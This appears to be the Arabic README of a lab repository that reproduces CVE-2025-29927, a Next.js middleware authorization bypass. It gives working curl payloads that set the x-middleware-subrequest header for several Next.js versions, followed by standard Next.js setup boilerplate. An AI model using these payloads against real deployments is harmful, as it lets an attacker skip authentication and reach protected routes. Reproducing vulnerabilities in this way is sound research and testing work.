
بيئة استنساخ لـ CVE-2025-29927، توضّح تجاوز صلاحية الوسيطة (middleware) في Next.js عبر الرأس (header) `x-middleware-subrequest`. يتضمن خطوات استغلال باستخدام curl لإصدارات متعددة من Next.js.
هذا المستودع عبارة عن إعادة إنتاج للثغرة CVE-2025-29927 في حزمة next
/api/hello$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
middleware 5 مرات في الرأس الخاص x-middleware-subrequest:curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
كانت الإصدارات 12 و13 من Next.js تستخدم اصطلاح تسمية مختلفًا لملف الوسيط (_middleware.js)، والذي تم تغييره إلى middleware.js في Next.js 14. يمكن استغلال هذه الثغرة في الإصدارات الأقدم باستخدام ملف _middleware.js.
على سبيل المثال، ستنطبق الحمولات التالية، اعتمادًا على إصدار Next.js واصطلاح التوجيه الخاص بك:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (لإصدارات Next.js 12.2 مع ملف middleware.js في جذر التطبيق، وليس داخل دليل pages)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (لإصدارات Next.js 11 وحتى 12.2)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/helloأولاً، قم بتشغيل خادم التطوير:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
افتح http://localhost:3000 في متصفحك لرؤية النتيجة.
يمكنك البدء في تحرير الصفحة عن طريق تعديل app/page.js. يتم تحديث الصفحة تلقائيًا عند تحرير الملف.
يستخدم هذا المشروع next/font لتحسين وتحميل Geist، عائلة خطوط جديدة لـ Vercel، تلقائيًا.
لمعرفة المزيد حول Next.js، ألق نظرة على الموارد التالية:
يمكنك الاطلاع على مستودع Next.js على GitHub - ملاحظاتك ومساهماتك مرحب بها!
أسهل طريقة لنشر تطبيق Next.js الخاص بك هي استخدام منصة Vercel من مبتكري Next.js.
تحقق من وثائق نشر Next.js لمزيد من التفاصيل.
يرجى الرجوع إلى CONTRIBUTING للحصول على إرشادات حول المساهمة في هذا المشروع.